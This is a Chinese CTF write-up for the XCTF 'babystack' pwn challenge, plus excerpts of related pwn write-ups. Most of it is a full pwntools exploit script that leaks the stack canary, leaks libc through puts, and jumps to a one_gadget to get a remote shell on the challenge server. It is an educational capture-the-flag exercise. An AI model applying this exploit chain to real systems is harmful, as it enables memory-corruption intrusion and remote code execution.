攻防世界 pwn1 wp

2021-09-29 09:37:22 字數 2319 閱讀 8669

先看保護:

除了pie全開了。

開啟ida分析

因為有canary保護所以要想辦法洩露canary,回頭看那個棧溢位漏洞,發現可以利用先傳送0x88個a過去

後面會自動給你爆出canary,有了canary之後,就簡單了,所以思路就是:先利用棧溢位漏洞獲取canary,再利用拼接的方法將前面的填充補全之後就是rop了。這裡參考了一下別人的wp,用的one_gadget.

exp:

from pwn import

*#p = process("./babystack")

p = remote(

"111.198.29.45"

,43743

)context.log_level =

"debug"

libc = elf(

"./libc-2.23.so"

)elf = elf(

"./babystack"

)one_gadget =

0x45216

put_plt = elf.plt[

'puts'

]put_got = elf.got[

'puts'

]pop_ret =

0x0400a93

main_addr=

0x0400908

p.recvuntil(

">> "

)p.sendline(

"1")

pay =

"a"*

0x87

+"b"

p.sendline(pay)

p.recvuntil(

">> "

)p.sendline(

"2")

p.recvuntil(

"ab\n"

)a = p.recv(7)

cookie = u64(a.rjust(8,

"\x00"))

#p.interactive()

p.recvuntil(

">> "

)print

hex(cookie)

pay2 =

"a"*

0x88

+ p64(cookie)

+"a"*8

+ p64(pop_ret)

+ p64(put_got)

+ p64(put_plt)

+ p64(main_addr)

p.sendline(

"1")

p.sendline(pay2)

sleep(

0.5)

p.sendline(

"3")

p.recvuntil(

"\x3e\x20"

)a = p.recv(6)

put_addr = u64(a.ljust(8,

"\x00"))

print

hex(put_addr)

offset = put_addr - libc.symbols[

'puts'

]one_addr = one_gadget + offset

p.recvuntil(

">> "

)p.sendline(

"1")

pay3 =

"a"*

0x88

+ p64(cookie)

+"a"*8

+ p64(one_addr)

p.sendline(pay3)

p.interactive(

)

中間有些除錯過程是學長教的,確實學習了一波。

攻防世界PWN題解答

通過ida開啟程式,f5鍵生成c的 如下 int cdecl main int argc,const char ar const char envp ssize t vulnerable function 很明顯,vulnerable function的read函式有注入點,可以複寫vulnerab...

攻防世界 pwn 100

如上圖,這道題很簡單粗暴,直接暴露溢位點,但是需要注意的是,每次輸入讀200!這點下面會有坑。思路 利用rop洩露出read的位址,利用libsearch獲得system和 bin sh的位址。這些都是常規流程。但是,有一點要注意,在傳送payload的時候,一定不能使用sendline或者send...

PWN系列 攻防世界pwn高階區welpwn分析

個人部落格位址 函式 也比較簡單。read那裡也不存溢位。都是0x400。緊接著呼叫了echo函式。在echo函式中,將大小為0x400的buf中的值複製給大小為0x10的s2,很明顯會造成溢位。唯一的問題就是,如果buf中含有 x00。會中斷迴圈。函式執行的整體流程就是,使用者輸入的字串會存放到b...